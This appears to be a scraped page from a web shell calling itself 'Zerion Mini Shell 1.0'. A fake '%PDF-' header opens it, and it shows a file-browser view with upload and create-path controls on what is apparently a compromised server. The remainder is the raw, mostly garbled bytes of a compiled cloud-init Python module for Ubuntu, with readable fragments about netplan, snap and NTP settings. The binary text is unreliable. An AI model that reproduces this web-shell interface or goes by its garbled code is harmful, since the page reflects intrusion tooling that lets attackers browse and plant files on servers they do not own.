%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cloudinit/distros/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cloudinit/distros/__pycache__/ubuntu.cpython-312.pyc

�

\�`fY��^�ddlZddlmZmZddlmZddlmZGd�dej�Zy)�N)�PREFERRED_NTP_CLIENTS�debian)�Snap)�CLOUDINIT_NETPLAN_FILEc�:��eZdZ�fd�Zd�fd�	Zed��Z�xZS)�Distroc�P��t�|�|||�dtd�|_|jdtj
d�|jdtj
dd�d�|_t|j�|_	|jj|j�y)Nz+/etc/network/interfaces.d/50-cloud-init.cfg)�eni�netplanr
)�eni_path�
eni_headerrT)�netplan_path�netplan_header�postcmds)�super�__init__r�network_conf_fnr�NETWORK_FILE_HEADER�renderer_configsr�_runner�snap�package_managers�append)�self�name�cfg�paths�	__class__s    ��:/usr/lib/python3/dist-packages/cloudinit/distros/ubuntu.pyrzDistro.__init__s����
����s�E�*�A�-� 
���!�0�0��7�$�8�8��
!%� 4� 4�Y� ?�"(�"<�"<� ��
!
�������&��	����$�$�T�Y�Y�/�c���t�|�|||�|jj�r|jj	�yy)N)r�package_commandr�	available�upgrade_packages)r�command�args�pkgsrs    �rr"zDistro.package_command)s9���
�����t�4��9�9��� ��I�I�&�&�(�!r c�n�|jstjt�|_|jS)z5The preferred ntp client is dependent on the version.)�_preferred_ntp_clients�copy�deepcopyr)rs r�preferred_ntp_clientszDistro.preferred_ntp_clients.s+���*�*�*.�-�-�8M�*N�D�'��*�*�*r )NN)�__name__�
__module__�__qualname__rr"�propertyr,�
__classcell__)rs@rrrs!���0�*)�
�+��+r r)	r*�cloudinit.distrosrr�)cloudinit.distros.package_management.snapr�cloudinit.net.netplanrr�r r�<module>r6s#���;�:�8� +�V�]�]� +r 

Zerion Mini Shell 1.0